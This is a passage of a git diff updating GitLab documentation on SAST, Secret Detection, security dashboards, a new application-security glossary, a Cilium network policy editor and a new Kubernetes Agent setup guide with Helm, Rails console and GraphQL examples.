-|------------------------------------------|---------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `SAST_ANALYZER_IMAGES` | | Comma-separated list of custom images. Default images are still enabled. Read more about [customizing analyzers](analyzers.md). |
-| `SAST_PULL_ANALYZER_IMAGES` | 1 | Pull the images from the Docker registry (set to 0 to disable). Read more about [customizing analyzers](analyzers.md). |
-| `SAST_DOCKER_CLIENT_NEGOTIATION_TIMEOUT` | 2m | Time limit for Docker client negotiation. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, `h`. For example, `300ms`, `1.5h` or `2h45m`. |
-| `SAST_PULL_ANALYZER_IMAGE_TIMEOUT` | 5m | Time limit when pulling the image of an analyzer. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, `h`. For example, `300ms`, `1.5h` or `2h45m`. |
-| `SAST_RUN_ANALYZER_TIMEOUT` | 20m | Time limit when running an analyzer. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, `h`. For example, `300ms`, `1.5h` or `2h45m`. |
#### Analyzer settings
@@ -514,15 +476,14 @@ run successfully. For more information, see [Offline environments](../offline_de
To use SAST in an offline environment, you need:
-- To keep Docker-In-Docker disabled (default).
-- A GitLab Runner with the [`docker` or `kubernetes` executor](#requirements).
+- GitLab Runner with the [`docker` or `kubernetes` executor](#requirements).
- A Docker Container Registry with locally available copies of SAST [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images.
- Configure certificate checking of packages (optional).
NOTE: **Note:**
GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy),
-meaning the Runner tries to pull Docker images from the GitLab container registry even if a local
-copy is available. GitLab Runner's [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
+meaning the runner tries to pull Docker images from the GitLab container registry even if a local
+copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
in an offline environment if you prefer using only locally available Docker images. However, we
recommend keeping the pull policy setting to `always` if not in an offline environment, as this
enables the use of updated scanners in your CI/CD pipelines.
@@ -543,7 +504,6 @@ registry.gitlab.com/gitlab-org/security-products/analyzers/kubesec:2
registry.gitlab.com/gitlab-org/security-products/analyzers/nodejs-scan:2
registry.gitlab.com/gitlab-org/security-products/analyzers/phpcs-security-audit:2
registry.gitlab.com/gitlab-org/security-products/analyzers/pmd-apex:2
-registry.gitlab.com/gitlab-org/security-products/analyzers/secrets:2
registry.gitlab.com/gitlab-org/security-products/analyzers/security-code-scan:2
registry.gitlab.com/gitlab-org/security-products/analyzers/sobelow:2
registry.gitlab.com/gitlab-org/security-products/analyzers/spotbugs:2
@@ -563,13 +523,13 @@ For details on saving and transporting Docker images as a file, see Docker's doc
Add the following configuration to your `.gitlab-ci.yml` file. You must replace
`SECURE_ANALYZERS_PREFIX` to refer to your local Docker container registry:
- ```yaml
+```yaml
include:
- template: SAST.gitlab-ci.yml
variables:
SECURE_ANALYZERS_PREFIX: "localhost:5000/analyzers"
- ```
+```
The SAST job should now use local copies of the SAST analyzers to scan your code and generate
security reports without requiring internet access.
diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md
index 7daf2f3308b..f3e411cdc16 100644
--- a/doc/user/application_security/secret_detection/index.md
+++ b/doc/user/application_security/secret_detection/index.md
@@ -37,13 +37,13 @@ GitLab displays identified secrets visibly in a few places:
To run Secret Detection jobs, by default, you need GitLab Runner with the
[`docker`](https://docs.gitlab.com/runner/executors/docker.html) or
[`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor.
-If you're using the shared Runners on GitLab.com, this is enabled by default.
+If you're using the shared runners on GitLab.com, this is enabled by default.
CAUTION: **Caution:**
Our Secret Detection jobs currently expect a Linux container type. Windows containers are not yet supported.
CAUTION: **Caution:**
-If you use your own Runners, make sure the Docker version installed
+If you use your own runners, make sure the Docker version installed
is **not** `19.03.0`. See [troubleshooting information](../sast#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details.
### Making Secret Detection available to all GitLab tiers
@@ -83,7 +83,7 @@ variable. For example, `https://username:$password@example.com/path/to/repo` won
detected, whereas `https://username:password@example.com/path/to/repo` would be detected.
NOTE: **Note:**
-You don't have to configure Secret Detection manually as shown in this section if you're using [Auto Secret Detection](../../../topics/autodevops/stages.md#auto-secret-detection-ultimate)
+You don't have to configure Secret Detection manually as shown in this section if you're using [Auto Secret Detection](../../../topics/autodevops/stages.md#auto-secret-detection)
provided by [Auto DevOps](../../../topics/autodevops/index.md).
To enable Secret Detection for GitLab 13.1 and later, you must include the `Secret-Detection.gitlab-ci.yml` template that’s provided as a part of your GitLab installation. For GitLab versions earlier than 11.9, you can copy and use the job as defined in that template.
@@ -99,7 +99,7 @@ The included template creates Secret Detection jobs in your CI/CD pipeline and s
your project's source code for secrets.
The results are saved as a
-[Secret Detection report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssecret_detection-ultimate)
+[Secret Detection report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssecret_detection)
that you can later download and analyze. Due to implementation limitations, we
always take the latest Secret Detection artifact available.
diff --git a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_3.png b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_3.png
deleted file mode 100644
index 7b9a48b8738..00000000000
--- a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png
new file mode 100644
index 00000000000..67a7bb5f368
--- /dev/null
+++ b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_empty_v13_4.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_empty_v13_4.png
new file mode 100644
index 00000000000..3c618090be8
--- /dev/null
+++ b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_empty_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_0.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_0.png
deleted file mode 100644
index 77e75551bd9..00000000000
--- a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_0.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_4.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_4.png
new file mode 100644
index 00000000000..9ade24be16f
--- /dev/null
+++ b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_v13_4.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_v13_4.png
new file mode 100644
index 00000000000..d010adcc90c
--- /dev/null
+++ b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_with_projects_v13_2_sm.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_with_projects_v13_2_sm.png
deleted file mode 100644
index 75b5ad1d885..00000000000
--- a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_with_projects_v13_2_sm.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_2.png b/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_2.png
deleted file mode 100644
index 591a08f4d7a..00000000000
--- a/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_2.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_3.png b/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_3.png
new file mode 100644
index 00000000000..c89179e739d
--- /dev/null
+++ b/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_3.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/pipeline_security_v13_3.gif b/doc/user/application_security/security_dashboard/img/pipeline_security_v13_3.gif
deleted file mode 100644
index 29e7168b6ea..00000000000
--- a/doc/user/application_security/security_dashboard/img/pipeline_security_v13_3.gif
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/project_security_dashboard_v13_3.png b/doc/user/application_security/security_dashboard/img/project_security_dashboard_v13_3.png
new file mode 100644
index 00000000000..34c64f830ba
--- /dev/null
+++ b/doc/user/application_security/security_dashboard/img/project_security_dashboard_v13_3.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_1.png b/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_1.png
deleted file mode 100644
index 2b792727a99..00000000000
--- a/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_4.png b/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_4.png
new file mode 100644
index 00000000000..eb91cfc47ad
--- /dev/null
+++ b/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md
index b8fcc513cb1..51d9b4f45cd 100644
--- a/doc/user/application_security/security_dashboard/index.md
+++ b/doc/user/application_security/security_dashboard/index.md
@@ -35,7 +35,7 @@ To use the instance, group, project, or pipeline security dashboard:
the [supported reports](#supported-reports).
1. The configured jobs must use the [new `reports` syntax](../../../ci/pipelines/job_artifacts.md#artifactsreports).
1. [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or newer must be used.
- If you're using the shared Runners on GitLab.com, this is already the case.
+ If you're using the shared runners on GitLab.com, this is already the case.
## Pipeline Security
@@ -43,13 +43,11 @@ To use the instance, group, project, or pipeline security dashboard:
At the pipeline level, the Security section displays the vulnerabilities present in the branch of the project the pipeline was run against.
-![Pipeline Security Dashboard](img/pipeline_security_dashboard_v13_2.png)
+![Pipeline Security Dashboard](img/pipeline_security_dashboard_v13_3.png)
Visit the page for any pipeline that ran any of the [supported reports](#supported-reports). To view
the pipeline's security findings, select the **Security** tab when viewing the pipeline.
-![Pipeline Security Navigation](img/pipeline_security_v13_3.gif)
-
NOTE: **Note:**
A pipeline consists of multiple jobs, including SAST and DAST scanning. If any job fails to finish for any reason, the security dashboard will not show SAST scanner output. For example, if the SAST job finishes but the DAST job fails, the security dashboard will not show SAST results. The analyzer will output an [exit code](../../../development/integrations/secure.md#exit-code) on failure.
@@ -63,11 +61,13 @@ to **Security & Compliance > Security Dashboard**. By default, the Security Dash
detected and confirmed vulnerabilities.
The Security Dashboard first displays the total number of vulnerabilities by severity (for example,
-Critical, High, Medium, Low). Below this, a table displays each vulnerability's status, severity,
+Critical, High, Medium, Low, Info, Unknown). Below this, a table shows each vulnerability's status, severity,
and description. Clicking a vulnerability takes you to its [Vulnerability Details](../vulnerabilities)
page to view more information about that vulnerability.
-You can filter the vulnerabilities by:
+![Project Security Dashboard](img/project_security_dashboard_v13_3.png)
+
+You can filter the vulnerabilities by one or more of the following:
- Status
- Severity
@@ -122,24 +122,28 @@ branches of all the projects you configure to display on the dashboard. It inclu
[group Security Dashboard's](#group-security-dashboard)
features.
+![Instance Security Dashboard with projects](img/instance_security_dashboard_v13_4.png)
+
You can access the Instance Security Dashboard from the menu
bar at the top of the page. Under **More**, select **Security**.
![Instance Security Dashboard navigation link](img/instance_security_dashboard_link_v12_4.png)
+The dashboard is empty before you add projects to it.
+
+![Uninitialized Instance Security Dashboard](img/instance_security_dashboard_empty_v13_4.png)
+
### Adding projects to the dashboard
To add projects to the dashboard:
-1. Click the **Edit dashboard** button on the Instance Security Dashboard page.
+1. Click **Settings** in the left navigation bar or click the **Add projects** button.
1. Search for and add one or more projects using the **Search your projects** field.
1. Click the **Add projects** button.
-Once added, the Security Dashboard displays the vulnerabilities found in your chosen projects'
+After you add projects, the Security Dashboard displays the vulnerabilities found in those projects'
default branches.
-![Instance Security Dashboard with projects](img/instance_security_dashboard_with_projects_v13_2_sm.png)
-
## Export vulnerabilities
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213014) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10.
@@ -150,6 +154,8 @@ is built, the CSV report downloads to your local machine. The report contains al
vulnerabilities for the projects defined in the **Security Dashboard**,
as filters don't apply to the export function.
+![Export vulnerabilities](img/instance_security_dashboard_export_csv_v13_4.png)
+
NOTE: **Note:**
It may take several minutes for the download to start if your project contains
thousands of vulnerabilities. Do not close the page until the download finishes.
@@ -190,7 +196,7 @@ to configure daily security scans.
Each dashboard's vulnerability list contains vulnerabilities from the latest scans that were merged
into the default branch.
-![Vulnerability Report](img/group_vulnerability_report_v13_3.png)
+![Vulnerability Report](img/group_vulnerability_report_v13_4.png)
You can filter which vulnerabilities the Security Dashboard displays by:
@@ -208,7 +214,7 @@ To create an issue associated with the vulnerability, click the **Create Issue**
Once you create the issue, the vulnerability list contains a link to the issue and an icon whose
color indicates the issue's status (green for open issues, blue for closed issues).
-![Display attached issues](img/vulnerability_list_table_v13_1.png)
+![Display attached issues](img/vulnerability_list_table_v13_4.png)
<!-- ## Troubleshooting
diff --git a/doc/user/application_security/terminology/index.md b/doc/user/application_security/terminology/index.md
new file mode 100644
index 00000000000..8006a49ba35
--- /dev/null
+++ b/doc/user/application_security/terminology/index.md
@@ -0,0 +1,171 @@
+---
+stage: Secure
+group: Static Analysis
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: reference
+---
+
+# Secure and Defend terminology
+
+This terminology list for GitLab Secure and Defend aims to:
+
+- Promote a ubiquitous language for discussing application security.
+- Improve the effectiveness of communication regarding GitLab's application security features.
+- Get new contributors up to speed faster.
+
+NOTE: **Note:**
+This document defines application security terms in the specific context of GitLab's Secure and
+Defend products. Terms may therefore have different meanings outside of GitLab Secure and Defend.
+
+## Terms
+
+### Analyzer
+
+Software that performs a scan. The scan analyzes an attack surface for vulnerabilities and produces
+a report containing findings. Reports adhere to the [Secure report format](#secure-report-format).
+
+Analyzers integrate into GitLab using a CI job. The report produced by the analyzer is published as
+an artifact once the job is complete. GitLab ingests this report, allowing users to visualize and
+manage found vulnerabilities. For more information, see [Security Scanner Integration](../../../development/integrations/secure.md).
+
+Many GitLab analyzers follow a standard approach using Docker to run a wrapped scanner. For example,
+the Docker image `bandit-sast` is an analyzer that wraps the scanner `Bandit`. You can optionally
+use the [Common library](https://gitlab.com/gitlab-org/security-products/analyzers/common)
+to assist in building an Analyzer.
+
+### Attack surface
+
+The different places in an application that are vulnerable to attack. Secure products discover and
+search the attack surface during scans. Each product defines the attack surface differently. For
+example, SAST uses files and line numbers, and DAST uses URLs.
+
+### CVE
+
+Common Vulnerabilities and Exposures (CVE®) is a list of common identifiers for publicly known
+cybersecurity vulnerabilities. The list is managed by the [Mitre Corporation](https://cve.mitre.org/).
+
+### CVSS
+
+The Common Vulnerability Scoring System (CVSS) is a free and open industry standard for assessing
+the severity of computer system security vulnerabilities.
+
+### CWE
+
+Common Weakness Enumeration (CWEâ„¢) is a community-developed list of common software and hardware
+weakness types that have security ramifications. Weaknesses are flaws, faults, bugs,
+vulnerabilities, or other errors in software or hardware implementation, code, design, or
+architecture. If left unaddressed, weaknesses could result in systems, networks, or hardware being
+vulnerable to attack. The CWE List and associated classification taxonomy serve as a language that
+you can use to identify and describe these weaknesses in terms of CWEs.
+
+### Duplicate finding
+
+A legitimate finding that is reported multiple times. This can occur when different scanners
+discover the same finding, or when a single scan inadvertently reports the same finding more than
+once.
+
+### False positive
+
+A finding that doesn't exist but is incorrectly reported as existing.
+
+### Feedback
+
+Feedback the user provides about a finding. Types of feedback include dismissal, creating an issue,
+or creating a merge request.
+
+### Finding
+
+An asset that has the potential to be vulnerable, identified within a project by an analyzer. Assets
+include but are not restricted to source code, binary packages, containers, dependencies, networks,
+applications, and infrastructure.
+
+### Insignificant finding
+
+A legitimate finding that a particular customer doesn't care about.
+
+### Location fingerprint
+
+A finding's location fingerprint is a text value that's unique for each location on the attack
+surface. Each Secure product defines this according to its type of attack surface. For example, SAST
+incorporates file path and line number.
+
+### Pipeline Security tab
+
+A page that displays findings discovered in the associated CI pipeline.
+
+### Primary identifier
+
+A finding's primary identifier is a value unique to that finding. The external type and external ID
+of the finding's [first identifier](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/v2.4.0-rc1/dist/sast-report-format.json#L228)
+combine to create the value.
+
+Examples of primary identifiers include ZAP's `PluginID`, or `CVE` for Klar. Note that the
+identifier must be stable. Subsequent scans must return the same value for the same finding, even if
+the location has slightly changed.
+
+### Report finding
+
+A [finding](#finding) that only exists in a report produced by an analyzer, and is yet to be
+persisted to the database. The report finding becomes a [vulnerability finding](#vulnerability-finding)
+once it's imported into the database.
+
+### Scan type (report type)
+
+The type of scan. This must be one of the following:
+
+- `container_scanning`
+- `dependency_scanning`
+- `dast`
+- `sast`
+
+### Scanner
+
+Software that can scan for vulnerabilities. The resulting scan report is typically not in the
+[Secure report format](#secure-report-format). Examples include ESLint, Klar, and ZAP.
+
+### Secure product
+
+A group of features related to a specific area of application security with first-class support by
+GitLab. Products include Container Scanning, Dependency Scanning, Dynamic Application Security
+Testing (DAST), Secret Detection, Static Application Security Testing (SAST), and Fuzz Testing. Each
+of these products typically include one or more analyzers.
+
+### Secure report format
+
+A standard report format that Secure products comply with when creating JSON reports. The format is described by a
+[JSON schema](https://gitlab.com/gitlab-org/security-products/security-report-schemas).
+
+### Security Dashboard
+
+Provides an overview of all the vulnerabilities for a project, group, or GitLab instance.
+Vulnerabilities are only created from findings discovered on the project's default branch.
+
+### Vendor
+
+The party maintaining an analyzer. As such, a vendor is responsible for integrating a scanner into
+GitLab and keeping it compatible as they evolve. A vendor isn't necessarily the author or maintainer
+of the scanner, as in the case of using an open core or OSS project as a base solution of an
+offering. For scanners included as part of a GitLab distribution or GitLab subscription, the vendor
+is listed as GitLab.
+
+### Vulnerability
+
+A flaw that has a negative impact on the security of its environment. Vulnerabilities describe the
+error or weakness, and don't describe where the error is located (see [finding](#finding)).
+Each vulnerability maps to a unique finding.
+
+### Vulnerability finding
+
+When a [report finding](#report-finding) is stored to the database, it becomes a vulnerability
+[finding](#finding).
+
+### Vulnerability tracking
+
+Deals with the responsibility of matching findings across scans so that a finding's life cycle can
+be understood. Engineers and security teams use this information to decide whether to merge code
+changes, and to see unresolved findings and when they were introduced. Vulnerabilities are tracked
+by comparing the location fingerprint, primary identifier, and report type.
+
+### Vulnerability occurrence
+
+Deprecated, see [finding](#finding).
diff --git a/doc/user/application_security/threat_monitoring/index.md b/doc/user/application_security/threat_monitoring/index.md
index c916cdbfe7c..5414800b290 100644
--- a/doc/user/application_security/threat_monitoring/index.md
+++ b/doc/user/application_security/threat_monitoring/index.md
@@ -66,7 +66,7 @@ global:
enabled: true
metrics:
enabled:
- - 'flow:sourceContext=namespace;destinationContext=namespace'
+ - 'flow:sourceContext=namespace;destinationContext=namespace'
```
The **Container Network Policy** section displays the following information
@@ -88,8 +88,9 @@ investigate it for potential threats by
The **Threat Monitoring** page's **Policy** tab displays deployed
network policies for all available environments. You can check a
-network policy's `yaml` manifest and toggle the policy's enforcement
-status. This section has the following prerequisites:
+network policy's `yaml` manifest, toggle the policy's enforcement
+status, and create and edit deployed policies. This section has the
+following prerequisites:
- Your project contains at least one [environment](../../../ci/environments/index.md)
- You've [installed Cilium](../../clusters/applications.md#install-cilium-using-gitlab-cicd)
@@ -124,3 +125,47 @@ Disabled network policies have the
`podSelector` block. This narrows the scope of such a policy and as a
result it doesn't affect any pods. The policy itself is still deployed
to the corresponding deployment namespace.
+
+### Container Network Policy editor
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3403) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4.
+
+The policy editor allows you to create, edit, and delete policies. To
+create a new policy click the **New policy** button located in the
+**Policy** tab's header. To edit an existing policy, click**Edit
+policy** in the selected policy drawer.
+
+NOTE: **Note:**
+The policy editor only supports the
+[CiliumNetworkPolicy](https://docs.cilium.io/en/v1.8/policy/)specification. Regular
+Kubernetes
+[NetworkPolicy](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#networkpolicy-v1-networking-k8s-io)
+resources aren't supported.
+
+The policy editor has two modes:
+
+- The visual _Rule_ mode allows you to construct and preview policy
+ rules using rule blocks and related controls.
+- YAML mode allows you to enter a policy definition in `.yaml` format
+ and is aimed at expert users and cases that the Rule mode doesn't
+ support.
+
+You can use both modes interchangeably and switch between them at any
+time. If a YAML resource is incorrect, Rule mode is automatically
+disabled. You must use YAML mode to fix your policy before Rule mode
+is available again.
+
+Rule mode supports the following rule types:
+
+- [Labels](https://docs.cilium.io/en/v1.8/policy/language/#labels-based).
+- [Entities](https://docs.cilium.io/en/v1.8/policy/language/#entities-based).
+- [IP/CIDR](https://docs.cilium.io/en/v1.8/policy/language/#ip-cidr-based). Only
+ the `toCIDR` block without `except` is supported.
+- [DNS](https://docs.cilium.io/en/v1.8/policy/language/#dns-based).
+- [Level 4](https://docs.cilium.io/en/v1.8/policy/language/#layer-4-examples)
+ can be added to all other rules.
+
+Once your policy is complete, save it by pressing the **Save policy**
+button at the bottom of the editor. Existing policies can also be
+removed from the editor interface by clicking the **Delete policy**
+button at the bottom of the editor.
diff --git a/doc/user/application_security/vulnerabilities/img/vulnerability_page_v13_1.png b/doc/user/application_security/vulnerabilities/img/vulnerability_page_v13_1.png
deleted file mode 100644
index 30a7195e1ab..00000000000
--- a/doc/user/application_security/vulnerabilities/img/vulnerability_page_v13_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md
index ffec4bf336d..ff383fdf553 100644
--- a/doc/user/application_security/vulnerabilities/index.md
+++ b/doc/user/application_security/vulnerabilities/index.md
@@ -9,10 +9,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13561) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0.
-Each security vulnerability in the [Security Dashboard](../security_dashboard/index.md#project-security-dashboard) has its own standalone
-page.
+Each security vulnerability in a project's [Security Dashboard](../security_dashboard/index.md#project-security-dashboard) has an individual page which includes:
-![Vulnerability page](img/vulnerability_page_v13_1.png)
+- Details of the vulnerability.
+- The status of the vulnerability within the project.
+- Available actions for the vulnerability.
On the vulnerability page, you can interact with the vulnerability in
several different ways:
@@ -22,7 +23,7 @@ several different ways:
- [Create issue](#creating-an-issue-for-a-vulnerability) - Create a new issue with the
title and description pre-populated with information from the vulnerability report.
By default, such issues are [confidential](../../project/issues/confidential_issues.md).
-- [Solution](#automatic-remediation-solutions-for-vulnerabilities) - For some vulnerabilities,
+- [Solution](#automatic-remediation-for-vulnerabilities) - For some vulnerabilities,
a solution is provided for how to fix the vulnerability.
## Changing vulnerability status
@@ -46,28 +47,7 @@ project the vulnerability came from, and pre-populates it with useful informatio
the vulnerability report. After the issue is created, GitLab redirects you to the
issue page so you can edit, assign, or comment on the issue.
-## Automatic remediation solutions for vulnerabilities
+## Automatic remediation for vulnerabilities
You can fix some vulnerabilities by applying the solution that GitLab automatically
-generates for you. GitLab supports the following scanners:
-
-- [Dependency Scanning](../dependency_scanning/index.md): Automatic Patch creation
- is only available for Node.js projects managed with `yarn`.
-- [Container Scanning](../container_scanning/index.md).
-
-When an automatic solution is available, the button in the header will show "Resolve with merge request":
-
-![Resolve with Merge Request button](img/vulnerability_page_merge_request_button_v13_1.png)
-
-Selecting the button will create a merge request with the automatic solution.
-
-### Manually applying a suggested patch
-
-To manually apply the patch that was generated by GitLab for a vulnerability, select the dropdown arrow on the "Resolve
-with merge request" button, then select the "Download patch to resolve" option:
-
-![Resolve with Merge Request button dropdown](img/vulnerability_page_merge_request_button_dropdown_v13_1.png)
-
-This will change the button text to "Download patch to resolve". Click on it to download the patch:
-
-![Download patch button](img/vulnerability_page_download_patch_button_v13_1.png)
+generates for you. [Read more about the automatic remediation for vulnerabilities feature](../index.md#solutions-for-vulnerabilities-auto-remediation).
diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md
new file mode 100644
index 00000000000..7b745577cc4
--- /dev/null
+++ b/doc/user/clusters/agent/index.md
@@ -0,0 +1,329 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# GitLab Kubernetes Agent **(PREMIUM ONLY)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223061) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
+
+## Goals
+
+The [GitLab Kubernetes Agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) is an active in-cluster component for solving GitLab and Kubernetes integration tasks in a secure and cloud native way.
+
+Features:
+
+1. Makes it possible to integrate GitLab with a Kubernetes cluster behind a firewall or NAT
+1. Enables pull-based GitOps deployments by leveraging the [GitOps Engine](https://github.com/argoproj/gitops-engine)
+1. Allows for real-time access to API endpoints within a cluster.
+1. Many more features are planned. Please [review our roadmap](https://gitlab.com/groups/gitlab-org/-/epics/3329).
+
+## Architecture
+
+### GitLab Agent GitOps workflow
+
+```mermaid
+sequenceDiagram
+ participant D as Developer
+ participant A as Application code repository
+ participant M as Manifest repository
+ participant K as Kubernetes agent
+ participant C as Agent configuration repository
+ K->C: Grab the configuration
+ D->>+A: Pushing code changes
+ A->>M: Updating manifest
+ loop Regularly
+ K-->>M: Watching changes
+ M-->>K: Pulling and applying changes
+ end
+```
+
+Please refer to our [full architecture documentation in the Agent project](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md#high-level-architecture).
+
+## Getting started with GitOps using the GitLab Agent and the GitLab Cloud Native Helm chart
+
+There are several components that work in concert for the Agent to accomplish GitOps deployments:
+
+1. A Kubernetes cluster that is properly configured
+1. A configuration repository that contains a `config.yaml` file. This `config.yaml` tells the Agent which repositories to synchronize with.
+1. A manifest repository that contains a `manifest.yaml`. This `manifest.yaml` (which can be autogenerated) is tracked by the Agent and any changes to the file are automatically applied to the cluster.
+
+The setup process involves a few steps that, once completed, will enable GitOps deployments to work
+
+1. Installing the Agent server via GitLab Helm chart
+1. Defining a configuration directory
+1. Creating an Agent record in GitLab
+1. Generating and copying a Secret token used to connect to the Agent
+1. Installing the Agent into the cluster
+1. Creating a `manifest.yaml`
+
+### Installing the Agent server via Helm
+
+Currently the GitLab Kubernetes Agent can only be deployed via our [Helm chart](https://gitlab.com/gitlab-org/charts/gitlab).
+
+NOTE: We are working quickly to [include the Agent in Official Linux Package](https://gitlab.com/gitlab-org/gitlab/-/issues/223060).
+
+If you don't already have GitLab installed via Helm please refer to our [installation documentation](https://docs.gitlab.com/charts/installation/)
+
+When installing/upgrading the GitLab Helm chart please consider the following Helm 2 example (if using Helm 3 please modify):
+
+```shell
+helm upgrade --force --install gitlab . \
+ --timeout 600 \
+ --set global.hosts.domain=<YOUR_DOMAIN> \
+ --set global.hosts.externalIP=<YOUR_IP> \
+ --set certmanager-issuer.email=<YOUR_EMAIL> \
+ --set name=gitlab-instance \
+ --set global.kas.enabled=true
+```
+
+`global.kas.enabled=true` must be set in order for the Agent to be properly installed and configured.
+
+### Defining a configuration repository
+
+Next you will need a GitLab repository that will contain your Agent configuration.
+
+The minimal repository layout looks like this:
+
+`.gitlab/agents/<agent-name>/config.yaml`
+
+The `config.yaml` file contents should look like this:
+
+```yaml
+gitops:
+ manifest_projects:
+ - id: "path-to/your-awesome-project"
+```
+
+### Creating an Agent record in GitLab
+
+Next you will need to create an GitLab Rails Agent record so that your GitLab project so that the Agent itself can associate with a GitLab project. This process will also yield a Secret that you will use to configure the Agent in subsequent steps.
+
+There are two ways to accomplish this:
+
+1. Via the Rails console
+1. Via GraphQL
+
+To do this you could either run `rails c` or via GraphQL. From `rails c`:
+
+```ruby
+ project = ::Project.find_by_full_path("path-to/your-awesome-project")
+ agent = ::Clusters::Agent.create(name: "<agent-name>", project: project)
+ token = ::Clusters::AgentToken.create(agent: agent)
+ token.token # this will print out the token you need to use on the next step
+```
+
+or using GraphQL:
+
+with this approach, you'll need a premium license to use this feature.
+
+If you are new to using the GitLab GraphQL API please refer to the [Getting started with the GraphQL API page](../../../api/graphql/getting_started.md) or check out the [GraphQL Explorer](https://gitlab.com/-/graphql-explorer).
+
+```json
+ mutation createAgent {
+ createClusterAgent(input: { projectPath: "path-to/your-awesome-project", name: "<agent-name>" }) {
+ clusterAgent {
+ id
+ name
+ }
+ errors
+ }
+ }
+
+ mutation createToken {
+ clusterAgentTokenCreate(input: { clusterAgentId: <cluster-agent-id-taken-from-the-previous-mutation> }) {
+ secret # This is the value you need to use on the next step
+ token {
+ createdAt
+ id
+ }
+ errors
+ }
+ }
+```
+
+Note that GraphQL will only show you the token once, after you've created it.
+
+### Creating the Kubernetes secret
+
